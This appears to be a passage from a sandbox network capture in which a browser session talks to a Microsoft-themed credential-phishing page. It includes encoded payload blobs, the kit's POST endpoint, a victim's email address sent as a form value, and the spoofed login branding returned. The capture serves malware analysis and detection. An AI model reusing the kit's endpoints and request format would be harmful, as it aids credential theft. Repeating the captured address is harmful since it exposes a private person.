OBnWHV1cadkVwk1VsN3Y5hXbhdFZqlFWCBTYXlTdMdkWwp1MWlnWThXbiJTOwoFWJNXYHZFaadkV5x0Ro52YtlTMjNEe0l1VsVHTHFDbi5WVzJWbGJDTI5EbZNjUwJmM0M3YzYFdidlR5VGW0tWYY50didkR18UbKNnYy4kcmdlRxo1RsZHTH5Eai5mWoNWe4d3Ytljbj1mV6NWe4JTYXJFbiNDdrFGWOdnYHZUNP1Gb1J2RsVnWTFTaidUOqFm
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 31 57 4f 36 4e 32 52 47 70 6d 57 55 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4e 64 6c 56 30 5a 32 56 4b 46 44 5a 49 4a 6c 64 69 6c 47 65 77 4a 6d 62 43 46 44 5a 44 68 6e 64 6a 68 6b 55 75 4e 57 62 35 45 7a 59 44 68 6e 65 61 64 46 65 73 6c 31 4d 52 4e 48 5a 48 5a 46 4e 6b 64 6b 52 35 70 31 56 47 64 54 57 79 6b 7a 63 69 4e 54 53 32 45 32 56 31 38 6d 57 59 70 45 63 6b 52 45 64 74 4a 6d 4d 31 41 7a 54 74 78 57 64 68 64 6b 56 35 46 47 57 52 64 6a 59 58 5a 55 65 61 4a 44 62 31 39 6b 61 43 6c 54 57 75 5a 46 4d 6b 64 55 4f 31 56 6d 4d 35 49 6a 57 59 70 55 62 69 64 55 4f 7a 38 6b 62 61 42 33 59 79 77 57 61 69 64 6b 56 35 6b 6c 62 57 42 44 5a 48 6c 54 64 4d 68 6b 54 73 4a 32 52 57 70 47 5a 49 52 48 4d 61 68 46 61 77 77 45 57 53 6c 58 57 58 56 6a 65 Data Ascii: 1WO6N2RGpmWURXbiJTNwwEWOBXZtVlNNdlV0Z2VKFDZIJldilGewJmbCFDZDhndjhkUuNWb5EzYDhneadFesl1MRNHZHZFNkdkR5p1VGdTWykzciNTS2E2V18mWYpEckREdtJmM1AzTtxWdhdkV5FGWRdjYXZUeaJDb19kaClTWuZFMkdUO1VmM5IjWYpUbidUOz8kbaB3YywWaidkV5klbWBDZHlTdMhkTsJ2RWpGZIRHMahFawwEWSlXWXVje
2024-10-01 13:08:29 UTC	458	IN	Data Raw: 7a 59 48 56 56 4f 6a 4a 6a 56 6f 4e 57 62 4f 39 47 57 55 39 6d 4e 4d 68 46 5a 73 6c 56 62 30 42 48 5a 44 46 6a 65 61 64 6c 52 35 6c 6c 4d 6e 52 6e 57 48 5a 6c 61 69 4e 6a 53 6f 52 32 52 73 5a 6e 59 75 4e 48 64 6b 4a 6a 56 70 46 6d 4d 73 42 44 54 58 5a 30 64 6a 64 6b 56 6f 4e 57 62 47 56 58 57 79 55 6c 4e 69 31 57 4f 31 70 46 57 78 30 57 59 58 5a 31 63 61 68 6b 54 73 52 47 53 30 6c 6d 59 7a 6f 30 61 61 68 56 53 32 30 45 57 43 52 54 53 49 35 6b 64 69 64 45 62 72 6c 45 53 4f 42 6e 59 49 70 46 62 6a 70 47 64 30 6c 46 57 4b 35 57 59 58 52 6a 4e 4e 4e 55 51 35 4e 47 53 6e 64 7a 59 48 5a 30 61 61 64 45 62 31 70 6c 65 76 56 58 54 36 5a 46 62 69 4e 56 51 31 35 6b 61 4a 46 6a 57 58 42 7a 5a 4d 70 32 59 78 6f 31 56 78 6b 6a 59 48 5a 6c 62 61 64 56 4e 72 56 6d 4d 4b Data Ascii: zYHVVOjJjVoNWbO9GWU9mNMhFZslVb0BHZDFjeadlR5llMnRnWHZlaiNjSoR2RsZnYuNHdkJjVpFmMsBDTXZ0djdkVoNWbGVXWyUlNi1WO1pFWx0WYXZ1cahkTsRGS0lmYzo0aahVS20EWCRTSI5kdidEbrlESOBnYIpFbjpGd0lFWK5WYXRjNNNUQ5NGSndzYHZ0aadEb1plevVXT6ZFbiNVQ15kaJFjWXBzZMp2Yxo1VxkjYHZlbadVNrVmMK
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 34 31 63 65 0d 0a 55 4d 77 6f 31 51 34 42 54 59 49 52 33 64 5a 64 6c 55 72 46 32 56 31 34 32 54 71 4a 55 4f 4c 35 32 63 30 52 6d 4d 57 6c 57 59 79 77 47 4d 4d 64 6c 53 32 56 32 51 78 6f 58 59 59 42 48 63 69 31 32 59 32 6b 56 62 35 6b 6e 57 48 5a 56 65 4d 64 6c 53 32 56 47 52 7a 52 6e 59 58 6c 6a 4e 4d 64 6c 53 32 56 32 51 78 6f 58 59 59 42 48 63 69 31 32 59 32 6b 56 62 35 6b 6e 57 48 5a 56 65 4d 64 6c 53 32 56 47 52 30 6c 6d 59 7a 63 47 64 6a 4a 44 62 32 45 32 56 31 34 32 54 74 70 6b 64 6a 31 6d 55 73 4e 57 61 78 6b 6d 59 7a 67 57 4f 50 31 6d 52 74 52 32 52 57 6c 48 54 45 42 58 61 61 64 6c 57 32 4e 57 62 57 64 44 54 59 52 47 62 5a 31 47 64 77 52 32 51 78 6b 6d 59 7a 63 47 64 6a 4a 44 62 32 45 32 56 31 34 32 54 74 70 6b 64 6a 31 6d 55 73 4e 57 61 78 6b 6d Data Ascii: 41ceUMwo1Q4BTYIR3dZdlUrF2V142TqJUOL52c0RmMWlWYywGMMdlS2V2QxoXYYBHci12Y2kVb5knWHZVeMdlS2VGRzRnYXljNMdlS2V2QxoXYYBHci12Y2kVb5knWHZVeMdlS2VGR0lmYzcGdjJDb2E2V142Ttpkdj1mUsNWaxkmYzgWOP1mRtR2RWlHTEBXaadlW2NWbWdDTYRGbZ1GdwR2QxkmYzcGdjJDb2E2V142Ttpkdj1mUsNWaxkm
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 77 30 56 61 68 6d 59 58 78 32 63 6c 52 31 62 70 56 6c 4d 57 35 6d 59 79 55 31 5a 57 56 31 61 6e 5a 6c 4d 57 6c 6d 57 74 6c 54 64 6b 4e 55 53 7a 78 30 56 47 64 33 59 48 68 48 62 4d 68 6c 54 31 4d 32 4d 53 78 6d 59 54 64 58 61 54 64 6b 56 7a 52 57 62 57 42 54 59 58 35 45 61 4a 56 55 4e 73 52 32 56 56 6c 47 54 44 70 55 54 6b 64 6c 54 77 70 31 52 46 64 6d 55 7a 6f 45 61 69 31 6d 55 73 6c 55 61 34 4e 6c 59 79 6f 6b 64 6b 64 45 4f 7a 4a 31 56 4b 6c 58 59 58 46 44 61 4d 4e 6b 53 50 46 47 57 4b 52 58 57 58 68 48 61 4a 5a 6b 56 4b 6c 55 61 34 68 55 57 58 4a 56 4d 61 4a 7a 61 7a 6c 45 62 4f 78 6d 57 79 6b 44 62 4a 5a 45 61 70 4a 32 4d 6e 64 57 56 7a 77 47 64 5a 31 57 4f 7a 6c 55 61 33 6c 57 56 79 59 6c 62 69 4a 54 56 6e 5a 56 56 72 64 57 56 7a 77 47 64 5a 31 57 4f Data Ascii: w0VahmYXx2clR1bpVlMW5mYyU1ZWV1anZlMWlmWtlTdkNUSzx0VGd3YHhHbMhlT1M2MSxmYTdXaTdkVzRWbWBTYX5EaJVUNsR2VVlGTDpUTkdlTwp1RFdmUzoEai1mUslUa4NlYyokdkdEOzJ1VKlXYXFDaMNkSPFGWKRXWXhHaJZkVKlUa4hUWXJVMaJzazlEbOxmWykDbJZEapJ2MndWVzwGdZ1WOzlUa3lWVyYlbiJTVnZVVrdWVzwGdZ1WO
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 46 64 5a 4a 6a 56 31 52 32 52 57 6c 58 5a 7a 49 46 62 6c 68 55 55 30 6c 31 56 34 42 6e 57 79 51 6a 4e 5a 4a 6a 56 31 52 32 52 57 6c 6e 5a 54 56 44 4d 61 68 46 61 77 77 30 56 77 46 7a 59 7a 49 46 63 61 35 47 62 33 51 32 52 57 52 44 5a 44 46 44 61 69 64 45 62 75 4a 6d 61 77 46 48 5a 59 35 45 4d 68 64 6c 57 31 59 32 55 31 41 6a 57 59 68 47 4d 4d 64 56 4e 32 52 32 4d 4b 68 32 59 49 52 33 4d 68 64 45 62 77 6f 31 55 78 6f 33 59 48 5a 6b 61 61 52 46 63 31 4a 32 4d 6b 6c 58 57 59 4a 55 4f 4d 35 6d 55 73 56 47 53 52 52 6e 59 48 6c 7a 4d 61 68 6c 53 71 6c 46 57 4f 78 57 5a 7a 49 46 62 6c 68 55 55 30 52 47 53 4b 68 6d 59 75 35 55 62 69 4e 6a 53 30 39 55 62 34 5a 48 5a 79 59 56 65 5a 4a 6a 52 36 70 46 57 77 55 48 5a 48 5a 46 4e 6b 4e 55 4d 78 4d 47 53 43 78 32 59 74 Data Ascii: FdZJjV1R2RWlXZzIFblhUU0l1V4BnWyQjNZJjV1R2RWlnZTVDMahFaww0VwFzYzIFca5Gb3Q2RWRDZDFDaidEbuJmawFHZY5EMhdlW1Y2U1AjWYhGMMdVN2R2MKh2YIR3MhdEbwo1Uxo3YHZkaaRFc1J2MklXWYJUOM5mUsVGSRRnYHlzMahlSqlFWOxWZzIFblhUU0RGSKhmYu5UbiNjS09Ub4ZHZyYVeZJjR6pFWwUHZHZFNkNUMxMGSCx2Yt
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 65 30 70 33 59 74 31 6b 4e 69 64 55 4f 71 6c 31 56 33 39 57 53 73 35 45 62 61 4a 54 4f 73 6c 6b 52 57 70 55 53 47 35 45 62 69 64 46 62 70 4a 6d 4d 34 74 57 53 70 74 32 4e 61 31 57 4f 31 52 32 51 78 4d 6a 57 58 78 6d 62 68 68 55 55 32 34 6b 61 42 64 33 54 79 6f 6c 64 69 35 57 55 30 4e 32 4d 53 56 6a 59 48 56 6c 4e 69 31 57 4f 35 4a 32 56 47 4e 6e 5a 54 56 44 4d 61 68 46 61 77 77 30 56 4b 68 32 59 79 55 31 63 4d 35 6d 55 73 56 47 53 52 52 58 57 74 6c 7a 61 6c 4e 31 64 31 52 32 52 57 52 44 5a 44 46 6a 61 5a 68 6c 51 77 45 32 56 35 55 48 54 44 56 44 4d 61 68 46 61 77 77 30 56 4f 68 32 59 49 4a 46 63 69 4a 44 4e 30 6c 31 56 34 42 44 54 44 56 44 4d 61 68 46 61 77 77 30 56 6f 78 57 57 58 4a 46 62 6a 6c 32 64 31 52 32 52 57 52 44 5a 44 46 7a 62 61 64 6c 52 72 4a Data Ascii: e0p3Yt1kNidUOql1V39WSs5EbaJTOslkRWpUSG5EbidFbpJmM4tWSpt2Na1WO1R2QxMjWXxmbhhUU24kaBd3Tyoldi5WU0N2MSVjYHVlNi1WO5J2VGNnZTVDMahFaww0VKh2YyU1cM5mUsVGSRRXWtlzalN1d1R2RWRDZDFjaZhlQwE2V5UHTDVDMahFaww0VOh2YIJFciJDN0l1V4BDTDVDMahFaww0VoxWWXJFbjl2d1R2RWRDZDFzbadlRrJ
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 4d 70 57 53 30 30 6b 65 72 46 7a 59 74 5a 46 64 6d 4e 56 4e 77 6f 46 57 6f 42 44 54 58 68 47 62 5a 64 6c 55 73 4e 57 61 34 39 57 54 59 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4f 52 6b 57 33 56 47 52 30 4e 58 59 58 56 44 62 4d 64 46 61 73 46 32 56 6b 39 47 5a 45 39 57 4d 4f 35 6d 51 30 38 6b 4d 61 5a 6e 59 75 46 46 64 6b 4a 6a 56 77 70 6c 4d 6f 42 7a 54 71 6c 30 64 4e 52 45 64 74 4a 6d 4d 31 41 44 54 59 35 45 63 6c 31 57 56 32 30 55 61 30 51 6a 54 36 5a 56 65 61 64 46 4d 33 49 32 52 73 56 6e 57 54 46 7a 62 61 64 46 62 75 46 47 53 52 5a 54 54 35 52 54 4d 6a 31 6d 56 30 39 30 4d 43 68 6d 57 48 4a 46 63 69 31 32 59 30 6c 56 62 35 41 44 5a 48 6c 44 64 50 70 57 54 31 31 6b 65 61 64 58 5a 45 52 33 64 5a 64 6c 55 72 46 32 56 31 34 47 54 59 4a 6c Data Ascii: MpWS00kerFzYtZFdmNVNwoFWoBDTXhGbZdlUsNWa49WTYRXbiJTNwwEWOBXZtVlNORkW3VGR0NXYXVDbMdFasF2Vk9GZE9WMO5mQ08kMaZnYuFFdkJjVwplMoBzTql0dNREdtJmM1ADTY5Ecl1WV20Ua0QjT6ZVeadFM3I2RsVnWTFzbadFbuFGSRZTT5RTMj1mV090MChmWHJFci12Y0lVb5ADZHlDdPpWT11keadXZER3dZdlUrF2V14GTYJl
2024-10-01 13:08:29 UTC	1369	IN	Data Raw: 64 33 54 7a 49 46 62 6c 68 55 55 30 4a 32 4d 61 78 32 59 74 70 31 63 69 4e 7a 59 32 6f 31 56 34 4e 58 59 59 4a 6b 65 68 68 56 54 33 49 32 56 47 52 44 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 42 6a 54 70 52 6a 65 4f 35 6d 51 30 38 6b 4d 78 67 57 5a 44 46 7a 62 61 64 46 62 75 46 47 53 52 5a 54 54 70 52 44 4e 50 52 31 59 79 34 45 57 4b 78 6d 59 59 42 54 64 6b 64 6b 56 30 51 32 51 78 6f 48 5a 58 70 30 62 61 64 6c 52 72 70 46 57 4a 56 48 5a 48 5a 46 4e 6b 4e 55 4d 30 6c 46 57 6f 4e 58 59 58 56 44 62 6a 6c 48 4d 35 78 30 52 6e 6c 48 54 75 4a 46 62 6c 68 55 55 30 4a 32 56 47 52 6a 59 48 78 57 64 61 68 56 54 30 31 6b 62 30 52 58 57 59 64 47 64 68 64 6b 56 77 70 6c 4d 6f 42 7a 54 71 64 6d 4d 4d 70 57 54 79 4d 47 53 6e 64 6a 59 58 5a 45 4e 4d 64 46 61 73 46 32 56 Data Ascii: d3TzIFblhUU0J2Max2Ytp1ciNzY2o1V4NXYYJkehhVT3I2VGRDTXhGbhdFZvRGRvBjTpRjeO5mQ08kMxgWZDFzbadFbuFGSRZTTpRDNPR1Yy4EWKxmYYBTdkdkV0Q2QxoHZXp0badlRrpFWJVHZHZFNkNUM0lFWoNXYXVDbjlHM5x0RnlHTuJFblhUU0J2VGRjYHxWdahVT01kb0RXWYdGdhdkVwplMoBzTqdmMMpWTyMGSndjYXZENMdFasF2V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49777	104.21.11.126	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	1762	OUT	POST /zuprivater/Xdrrwwipj/uryfdsk2o3294djfshg.php HTTP/1.1 Host: gtekuvvait.com Connection: keep-alive Content-Length: 28 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://gtekuvvait.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://gtekuvvait.com/zuprivater/2uHqiHm56t0qCAig6tXfbrxrwnS%5EVEJZjmPHoEPw8m6CxbSHxFbCA2LEJ=HfVs6wz1VugxgGZaQgCQRZIwWw=AnsxqOPCMqb4Y Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: u0ulzMiw7eIIeLPswMTRibK2Ko4=IKtZPGoWNDPqHuPKPPtyQcFYQ9w; IFyd6Hou-G4AE3RKegZJidt10xE=1727788048; x_RYHB2sEEo2Bu1sV3mrPAYcYC4=1727874448; W0ibOYt_xPqGBP0bTi3N6twa_hY=ddymbcxaLrUCOSBPo7bF-I4R0Nk; kXCmMa_0GiSRnNULyrGxWbTQpY0=cRrl2AzWkJYyEFavDJ0CEiHqe8Y; gSaS8avy_wI_yiRmm2mEqhqzNfw=1727788086; Uk7aT3LVFyyC59E7GXZA4bh_PBs=1727874486; Ry9hFaaXTCPp9EgROrpabb_CLbY=whime-c7aQhFzx51Gvq2Tf62gkQ; cf_clearance=h7tWXbhCRfnXbpz8GEt2B2qy5f.Ck1el8SpcwIwGaW0-1727788092-1.2.1.1-pAuzedtMNKEaiyALAK2Lq_CWg2cfZCCbyIYtd7klccux5JiB6KQWqVKueU.fb0W94jUKaFWcKUJ9HS_UyXM7AYgs0zMGxjqxwD.csAT8YH5lQsGL3qqXtCL_iREdUbAP.6eg6BqKfAvs0P2k7xUkAYGf4vQDMEf.gqgDw6gttvCdL7V7gAoYf.ffVfcBrl6s.iYJmTOxlyRpQW9Q48OCT0F.DPXBOyrMgyMS3ql4CodIht77UsSTcmwtPLQri2LQOg5v9NO_3pKZMEavix3FXKfrMwnFguoRd1ZsWMBQFAzJOLlY0zjZpdzT9IzJ47wjsAxBbjYWOPkaefPRf.wiy9lA2lhAXPf90lKk6YipggZyySiGG38W193POOCIAJgW; PHPSESSID=59af271c130d7fcd9b183463b4579638
2024-10-01 13:08:27 UTC	28	OUT	Data Raw: 64 5f 6c 6f 67 3d 6a 73 61 6c 61 73 25 34 30 68 6f 6c 6c 61 6e 64 63 6f 2e 63 6f 6d Data Ascii: d_log=jsalas%40hollandco.com
2024-10-01 13:08:30 UTC	943	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-XSS-Protection: 1; mode=block Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GcUdrhhDl6TVKdQvL%2Ben%2FiZBPwb3Lxv7LLBxWoJvNgMZh01ujo%2BwpfiMgjxieBMj01FObAPDvY7yWJ%2Fgty6raBvIm4kAnExPUEVZvahfl7BReACvxVCw%2BWKtrFB%2BSrRP7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cbcae790e544326-EWR
2024-10-01 13:08:30 UTC	426	IN	Data Raw: 32 39 65 0d 0a 7b 22 6c 6f 67 6f 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 38 6e 65 69 72 35 67 68 62 73 66 71 33 39 75 2d 6c 61 63 71 78 30 6b 71 70 6a 63 36 76 69 33 64 33 72 75 33 63 79 62 79 64 72 61 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 36 31 34 38 33 30 37 35 36 34 36 38 31 37 34 36 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 64 62 64 35 61 32 64 64 2d 38 6e 65 69 72 35 67 68 62 73 66 71 33 39 75 2d 6c 61 63 71 78 30 6b 71 70 6a 63 36 76 69 33 64 33 72 75 33 Data Ascii: 29e{"logo":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra\/logintenantbranding\/0\/bannerlogo?ts=636148307564681746","background":"https:\/\/aadcdn.msauthimages.net\/dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3
2024-10-01 13:08:30 UTC	251	IN	Data Raw: 61 73 70 78 3f 73 72 63 3d 30 26 63 6f 64 65 3d 31 30 26 62 65 3d 44 4d 38 50 52 30 39 4d 42 36 30 38 38 26 66 65 3d 31 22 2c 22 62 67 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 5c 2f 73 68 61 72 65 64 5c 2f 31 2e 30 5c 2f 63 6f 6e 74 65 6e 74 5c 2f 69 6d 61 67 65 73 5c 2f 62 61 63 6b 67 72 6f 75 6e 64 73 5c 2f 32 5f 62 63 33 64 33 32 61 36 39 36 38 39 35 66 37 38 63 31 39 64 66 36 63 37 31 37 35 38 36 61 35 64 2e 73 76 67 22 2c 22 66 69 72 73 74 6d 73 67 22 3a 22 3c 66 6f 6e 74 20 43 4f 4c 4f 52 3d 5c 22 23 66 66 30 30 30 30 5c 22 3e 59 6f 75 72 20 73 65 73 73 69 6f 6e 20 68 61 73 20 65 78 70 69 72 65 64 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 2e 3c 5c 2f 66 6f 6e 74 3e 22 7d 0d 0a Data Ascii: aspx?src=0&code=10&be=DM8PR09MB6088&fe=1","bg":"https:\/\/aadcdn.msauth.net\/shared\/1.0\/content\/images\/backgrounds\/2_bc3d32a696895f78c19df6c717586a5d.svg","firstmsg":"<font COLOR=\"#ff0000\">Your session has expired, please try again.<\/font>"}
2024-10-01 13:08:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49778	151.101.193.229	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:27 UTC	367	OUT	GET /npm/axios/dist/axios.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:27 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54147 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.7.7 X-JSD-Version-Type: version ETag: W/"d383-UevtiR1Ub6VyiQ12MPIw3BrQgvI" Accept-Ranges: bytes Age: 20156 Date: Tue, 01 Oct 2024 13:08:27 GMT X-Served-By: cache-fra-etou8220107-FRA, cache-ewr-kewr1740021-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 72 2c 6e 3b 66 75 6e Data Ascii: !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;fun
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 2c 72 2c 6e 2c 69 3d 32 3b 66 6f 72 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 3d 53 79 6d 62 6f 6c 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 2c 6e 3d 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 3b 69 2d 2d 3b 29 7b 69 66 28 72 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 3b 69 66 28 6e 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 6e 5d 29 29 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 74 2e 63 61 6c 6c 28 65 29 29 3b 72 3d 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 6e 3d 22 40 40 69 74 65 72 61 74 6f 72 22 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 20 69 73 20 6e 6f 74 20 61 73 Data Ascii: n(e){var t,r,n,i=2;for("undefined"!=typeof Symbol&&(r=Symbol.asyncIterator,n=Symbol.iterator);i--;){if(r&&null!=(t=e[r]))return t.call(e);if(n&&null!=(t=e[n]))return new o(t.call(e));r="@@asyncIterator",n="@@iterator"}throw new TypeError("Object is not as
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 70 65 72 74 79 28 65 2c 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 72 2c 74 29 29 7d 29 29 7d 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 3b 76 61 72 20 65 2c 74 3d 7b 7d 2c 72 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 3d 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 5b 74 5d 3d 72 2e 76 61 6c 75 65 7d 2c 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 2c 61 3d 69 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 Data Ascii: perty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function s(){s=function(){return t};var e,t={},r=Object.prototype,n=r.hasOwnProperty,o=Object.defineProperty\|\|function(e,t,r){e[t]=r.value},i="function"==typeof Symbol?Symbol:{},a=i.iterator\|\|"@@
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 63 2e 76 61 6c 75 65 3d 65 2c 61 28 63 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 28 22 74 68 72 6f 77 22 2c 65 2c 61 2c 75 29 7d 29 29 7d 75 28 73 2e 61 72 67 29 7d 76 61 72 20 69 3b 6f 28 74 68 69 73 2c 22 5f 69 6e 76 6f 6b 65 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 72 28 65 2c 6e 2c 74 2c 6f 29 7d 29 29 7d 72 65 74 75 72 6e 20 69 3d 69 3f 69 2e 74 68 65 6e 28 6f 2c 6f 29 3a 6f 28 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 74 2c 72 2c 6e 29 7b 76 61 72 20 6f 3d 70 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 2c 61 29 7b 69 66 28 Data Ascii: nction(e){c.value=e,a(c)}),(function(e){return r("throw",e,a,u)}))}u(s.arg)}var i;o(this,"_invoke",{value:function(e,n){function o(){return new t((function(t,o){r(e,n,t,o)}))}return i=i?i.then(o,o):o()}})}function T(t,r,n){var o=p;return function(i,a){if(
